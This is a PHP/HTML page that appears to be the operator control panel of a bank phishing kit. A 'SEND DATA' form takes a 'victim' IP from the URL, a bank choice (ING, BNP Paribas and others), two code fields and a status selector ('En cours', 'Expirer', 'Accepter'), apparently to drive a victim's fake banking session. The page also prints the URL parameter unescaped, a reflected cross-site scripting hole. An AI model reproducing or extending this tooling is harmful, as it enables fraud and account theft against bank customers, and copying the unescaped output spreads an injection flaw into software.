<!DOCTYPE html>
<?php include('../../config.php'); session_start(); ?>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">
    <style>
        @import url(https://fonts.googleapis.com/css?family=Roboto:400,300,600,400italic);
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  -webkit-font-smoothing: antialiased;
  -moz-font-smoothing: antialiased;
  -o-font-smoothing: antialiased;
  font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
}

body {
  font-family: "Roboto", Helvetica, Arial, sans-serif;
  font-weight: 100;
  font-size: 12px;
  line-height: 30px;
  color: #777;
  background: #000;
}

.container {
  max-width: 400px;
  width: 100%;
  margin: 0 auto;
  position: relative;
}

#contact input[type="text"],
#contact input[type="email"],
#contact input[type="tel"],
#contact input[type="url"],
#contact textarea,
#contact button[type="submit"] {
  font: 400 12px/16px "Roboto", Helvetica, Arial, sans-serif;
}

#contact {
  background: #F9F9F9;
  padding: 25px;
  margin: 150px 0;
  box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
}

#contact h3 {
  display: block;
  font-size: 30px;
  font-weight: 300;
  margin-bottom: 10px;
}

#contact h4 {
  margin: 5px 0 15px;
  display: block;
  font-size: 13px;
  font-weight: 400;
}

fieldset {
  border: medium none !important;
  margin: 0 0 10px;
  min-width: 100%;
  padding: 0;
  width: 100%;
}

#contact input[type="text"],
#contact input[type="email"],
#contact input[type="tel"],
#contact input[type="url"],
#contact textarea {
  width: 100%;
  border: 1px solid #ccc;
  background: #FFF;
  margin: 0 0 5px;
  padding: 10px;
}

#contact input[type="text"]:hover,
#contact input[type="email"]:hover,
#contact input[type="tel"]:hover,
#contact input[type="url"]:hover,
#contact textarea:hover {
  -webkit-transition: border-color 0.3s ease-in-out;
  -moz-transition: border-color 0.3s ease-in-out;
  transition: border-color 0.3s ease-in-out;
  border: 1px solid #aaa;
}

#contact textarea {
  height: 100px;
  max-width: 100%;
  resize: none;
}

#contact button[type="submit"] {
  cursor: pointer;
  width: 100%;
  border: none;
  background: #4CAF50;
  color: #FFF;
  margin: 0 0 5px;
  padding: 10px;
  font-size: 15px;
}

#contact button[type="submit"]:hover {
  background: #43A047;
  -webkit-transition: background 0.3s ease-in-out;
  -moz-transition: background 0.3s ease-in-out;
  transition: background-color 0.3s ease-in-out;
}

#contact button[type="submit"]:active {
  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.5);
}

.copyright {
  text-align: center;
}

#contact input:focus,
#contact textarea:focus {
  outline: 0;
  border: 1px solid #aaa;
}

::-webkit-input-placeholder {
  color: #888;
}

:-moz-placeholder {
  color: #888;
}

::-moz-placeholder {
  color: #888;
}

:-ms-input-placeholder {
  color: #888;
}
    </style>
</head>
<body>
<div class="container">  

  <form id="contact" class="from" action="send.php" method="post">
    <h3>SEND DATA</h3>
   
    <?php  if(isset($_SESSION['msg'])) echo $_SESSION['msg']; ?>
    <input type="text" class="form-control" name="ip" value="<?php echo $_GET['ipvic']; ?>">
   <fieldset>
    <select name="bank" class="form-control">
      <option value="ing" <?php if($_SESSION['bank']=="ing") echo 'selected'; ?>>ing</option>
      <option value="digi" <?php if($_SESSION['bank']=="digi") echo 'selected'; ?>>digi</option>
      <option value="bel" <?php if($_SESSION['bank']=="bel") echo 'selected'; ?>>bel</option>
      <option value="Banque Transatlantique" <?php if($_SESSION['bank']=="Banque Transatlantique") echo 'selected'; ?>>Banque Transatlantique</option>
      <option value="BNP Paribas" <?php if($_SESSION['bank']=="BNP Paribas") echo 'selected'; ?>>BNP Paribas</option>

    </select>
   </fieldset>
      
   <fieldset>
      <input placeholder="num1" name="num1" type="text" tabindex="1"  >
    </fieldset>

    <fieldset>
      <input placeholder="num2" name="num2" type="text" tabindex="1"  >
    </fieldset>

 
     
    <fieldset>
    <select name="color" class="form-control">
      <option value="000" <?php if($_SESSION['color']=="000") echo 'selected'; ?>>RIEN</option>
      <option value="ec9720" <?php if($_SESSION['color']=="ec9720") echo 'selected'; ?>>En cours</option>
      <option value="af001e" <?php if($_SESSION['color']=="af001e") echo 'selected'; ?>>Expirer</option>
      <option value="048b3f" <?php if($_SESSION['color']=="048b3f") echo 'selected'; ?>>Accepter</option> 
    </select>
   </fieldset>

    <!-- <fieldset>
      <input placeholder="Your name" type="text" tabindex="1" required autofocus>
    </fieldset>
    <fieldset>
      <input placeholder="Your Email Address" type="email" tabindex="2" required>
    </fieldset>
    <fieldset>
      <input placeholder="Your Phone Number (optional)" type="tel" tabindex="3" required>
    </fieldset>
    <fieldset>
      <input placeholder="Your Web Site (optional)" type="url" tabindex="4" required>
    </fieldset> -->
    <fieldset>
      <textarea placeholder="...." name="message" tabindex="5"  ></textarea>
    </fieldset>
    <fieldset>
      <button name="submit" type="submit" id="contact-submit" data-submit="...Sending">Submit</button>
    </fieldset>
  
  </form>
</div>
</body>
</html>